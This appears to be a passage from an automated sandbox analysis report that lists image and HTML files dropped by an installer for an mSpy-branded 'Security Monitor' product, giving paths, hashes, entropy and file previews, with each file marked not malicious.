SHA-512:	A4426BE8C9850D699EB3674B5A6C78E0E7666DB8BCC44D89FBA7D8D3158DE4E55548628318D13B35D7F8333C3237F1971750F46897448538F8AC7EDD4EFA985B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<link rel="stylesheet" type="text/css" href="mSpy/widgets.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery-ui-1.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/reset.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/main.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/anythingslider.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/core-ui-select.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery_002.css" media="all">..</head>..<body>.. <div class="std"><div class="wrapper">.. <div class="contentZone buyNowSection">.. <div class="product_page_wrap">.. <div class="product_page_top">..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\business-analyt-sprite.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 1122 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36574
Entropy (8bit):	7.983280552060311
Encrypted:	false
SSDEEP:	768:3WN9F6pKVwko1aCYqIfw7dVCOyauFqRZd96/UCfD0J1RGz3/:3WDwc6kHYI47wqRzc/bfDG1RGj/
MD5:	6013CCDC5004442BD8EB1EAEE1A2FDFE
SHA1:	7447A346E5E2002E4EF6C56E149EB140ECC5F192
SHA-256:	065857BDAEC7F2E73BA3F7B81D627B94794B67E35D62168F439200FC840412A5
SHA-512:	2047C8F6BAFCC06124A2BD3776475B89C2470090DEB186AF88787E0AFA2DDC0462C70FEBF58ECED3F192E5DC918BE37F4A17EAAA63D337C8A176099F818F9A25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...b...<.....-.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:557A66613F9D11E2B86C971723AA9104" xmpMM:DocumentID="xmp.did:557A66623F9D11E2B86C971723AA9104"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:557A665F3F9D11E2B86C971723AA9104" stRef:documentID="xmp.did:557A66603F9D11E2B86C971723AA9104"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-2.....RIDATx..].x...~.eM...^....$.@.e.({..B...Z...~J[Z.-PJ[.t0...E.3.;v......=.c;.-[..$.........s.......'...7.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\green_action_btns.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 210 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19730
Entropy (8bit):	7.966645049778982
Encrypted:	false
SSDEEP:	384:qJXE056Cv0Ek+u9AOgo8KWTVQSSKOhFjVdQO0MUCguUfrDlk0m0pe:q35fv0fjyKQQT4MyxrZwIe
MD5:	31EC3A003CF3D2C1CDE419B2770AE700
SHA1:	02927572E6B55561B729E37406C197BC782A5B08
SHA-256:	F9050D57ED7DDF92CD1B92505BEB33A606EA90682AE918DF2464C0F4ECC8CBEA
SHA-512:	646C7DEF65B4921CE55246D408348E10628B55FB4D5F920EE69CEC88F3F3C38BB1157C749CA4F0B13710AA431DFA4229E4D67380AF0A0FBF78A9958ACB739464
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P...... %....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\is-8157J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 210 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19730
Entropy (8bit):	7.966645049778982
Encrypted:	false
SSDEEP:	384:qJXE056Cv0Ek+u9AOgo8KWTVQSSKOhFjVdQO0MUCguUfrDlk0m0pe:q35fv0fjyKQQT4MyxrZwIe
MD5:	31EC3A003CF3D2C1CDE419B2770AE700
SHA1:	02927572E6B55561B729E37406C197BC782A5B08
SHA-256:	F9050D57ED7DDF92CD1B92505BEB33A606EA90682AE918DF2464C0F4ECC8CBEA
SHA-512:	646C7DEF65B4921CE55246D408348E10628B55FB4D5F920EE69CEC88F3F3C38BB1157C749CA4F0B13710AA431DFA4229E4D67380AF0A0FBF78A9958ACB739464
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P...... %....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\is-HGEK6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 1122 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36574
Entropy (8bit):	7.983280552060311
Encrypted:	false
SSDEEP:	768:3WN9F6pKVwko1aCYqIfw7dVCOyauFqRZd96/UCfD0J1RGz3/:3WDwc6kHYI47wqRzc/bfDG1RGj/
MD5:	6013CCDC5004442BD8EB1EAEE1A2FDFE
SHA1:	7447A346E5E2002E4EF6C56E149EB140ECC5F192
SHA-256:	065857BDAEC7F2E73BA3F7B81D627B94794B67E35D62168F439200FC840412A5
SHA-512:	2047C8F6BAFCC06124A2BD3776475B89C2470090DEB186AF88787E0AFA2DDC0462C70FEBF58ECED3F192E5DC918BE37F4A17EAAA63D337C8A176099F818F9A25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...b...<.....-.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:557A66613F9D11E2B86C971723AA9104" xmpMM:DocumentID="xmp.did:557A66623F9D11E2B86C971723AA9104"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:557A665F3F9D11E2B86C971723AA9104" stRef:documentID="xmp.did:557A66603F9D11E2B86C971723AA9104"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-2.....RIDATx..].x...~.eM...^....$.@.e.({..B...Z...~J[Z.-PJ[.t0...E.3.;v......=.c;.-[..$.........s.......'...7.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_block.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5873
Entropy (8bit):	7.9422746739510455
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTbCCivsM0hVEz9EEWJcLWmu9H3s5cVQOVplQG:LSDS0tKg9E05TdMiEz9IJcVOVQG
MD5:	08696DFA1637279FCD315A0D2B13EA6E
SHA1:	9579D2CC5852F05288E2205F060F6C18F5619C39
SHA-256:	7C9CBFC634C58F761DFE138DD770C533B5DDDCF222FDE0B3BACFBB76F9A4CD9F
SHA-512:	F38BDF328BE3A4D7003A9216BDF2A9FAD1E53B130DAE37CA2BFC2CA36A497392A03950B137A1363AA25523068A38C87D6B19D5EFFAF0D5E421CE346140B9B444
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_cal.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6513
Entropy (8bit):	7.938370771306964
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTQ27DriW08tOW633IfYjzfxKoKg49BM+Uf9C4jc:LSDS0tKg9E05TQ2jX08MQgHx6Sxm3Cg7
MD5:	538614FCC5E9A342D74CFB01246E3755
SHA1:	3496DD97D840823F928213E7E69BB8386EA057DC
SHA-256:	3524B51003AC153E7A40775C3955AA8E3F60AE99F99E514DB60A4BED628C16BC
SHA-512:	A2689D78B11B7C48BABAD5FC97672F6173DFF0DF3C082F6403581FFA45AE7E123BAA93B46DC3495CAD42328959E0EEBA68C70F35E371D175A5E406A9BAFED576
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_chat.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5507
Entropy (8bit):	7.929272432606936
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTlzb1sV3wLir9SfPUZ+IK0UAPcWNSB:LSDS0tKg9E05TBbUA+9CGK0xy
MD5:	581AD143944C6620786FE8E8FC09EE1D
SHA1:	E933A895E544CC90F45F3F93E0F28545A780CCBC
SHA-256:	1855774FD5C9C275F57970DDAD469EB71B9841D8C3440128F9351C960A8F0B4E
SHA-512:	072AB07C04E55FE3D1033FFB491EB6F180E40E8691003E46A9EB6CB37857423A2C4704C8683C4DEDFC89D79AB5BE61D2BAA8069245861EBD4865B1C67EBF42E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_device1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_gps.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 66 x 67, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7889
Entropy (8bit):	7.956855049886426
Encrypted:	false
SSDEEP:	192:fSDS0tKg9E05TVL0ZW4wNoOfMK98rfXQoEad7vgE:KJXE05105wNl9iPQs7v/
MD5:	5F738BDCCB17BABFD837386300BEF102
SHA1:	41F26EC0399CE58E1550A34C967A876A5F2FC8FB
SHA-256:	07C6155BB34D9BEBF03ECAAD535709B444D156A375F42FED15B26F6414FF63D3
SHA-512:	672E9D39AC2538D2F5CD082BD364E5C554AB0FE0A05A2BBFD4172ABDAA36AB1BCD86CCAACBBE333B85AD3905E25B5E0F0D8355E6290E8340BBE0165FC94C5E57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...C....._.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_rest.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6329
Entropy (8bit):	7.947037633028336
Encrypted:	false
SSDEEP:	192:LSDS0tKg9E05T58Vi5CX4vwjS9b+2xv+RfO17:+JXE05GIg4ojub+2xvt7
MD5:	03AF571726FE2C2A27BFACE13DE342A6
SHA1:	A350EC8147AE0AD79E8155E7FF62772C9A0AB339
SHA-256:	93C34A8EB0A686EDD27DCEFDAD5AFDDB2005FE27E09EE9880475E35F09A68BCA
SHA-512:	29B0DD9B86A559710262CEA72EF08DDDB9B91621C1BFC21A8E2B5EDDEE7D0EBC73A778B2AF1198903F5EC3EC59891E3EA0B991D3D48FD49938FA047706ABEBBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_web.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	7.935696994639288
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nT4+KjhO/UW3j12FlHdjuxgXZLqKhiz:LSDS0tKg9E05TEjE8aoxdqqXZdEz
MD5:	5503FA64C9D05F3025834D93A81AF764
SHA1:	CD2ABB0DD317BAAB5ED12488B7EF0EB76795F95D
SHA-256:	F4EE63F12CE2753CF71A160F5D7772E998CF5B6DBD4BB27502AE43789D9DA822
SHA-512:	AB205307CEA14D14FA7CCE024244FCF5AAE6DA6F7825058A3061CB88DCDE2579DBB6670516559792B631B2A39E756BF4E81ED63C16C205AFDEFCFCBD42F07245
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-6B2RU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5873
Entropy (8bit):	7.9422746739510455
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTbCCivsM0hVEz9EEWJcLWmu9H3s5cVQOVplQG:LSDS0tKg9E05TdMiEz9IJcVOVQG
MD5:	08696DFA1637279FCD315A0D2B13EA6E
SHA1:	9579D2CC5852F05288E2205F060F6C18F5619C39
SHA-256:	7C9CBFC634C58F761DFE138DD770C533B5DDDCF222FDE0B3BACFBB76F9A4CD9F
SHA-512:	F38BDF328BE3A4D7003A9216BDF2A9FAD1E53B130DAE37CA2BFC2CA36A497392A03950B137A1363AA25523068A38C87D6B19D5EFFAF0D5E421CE346140B9B444
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-AMF1H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
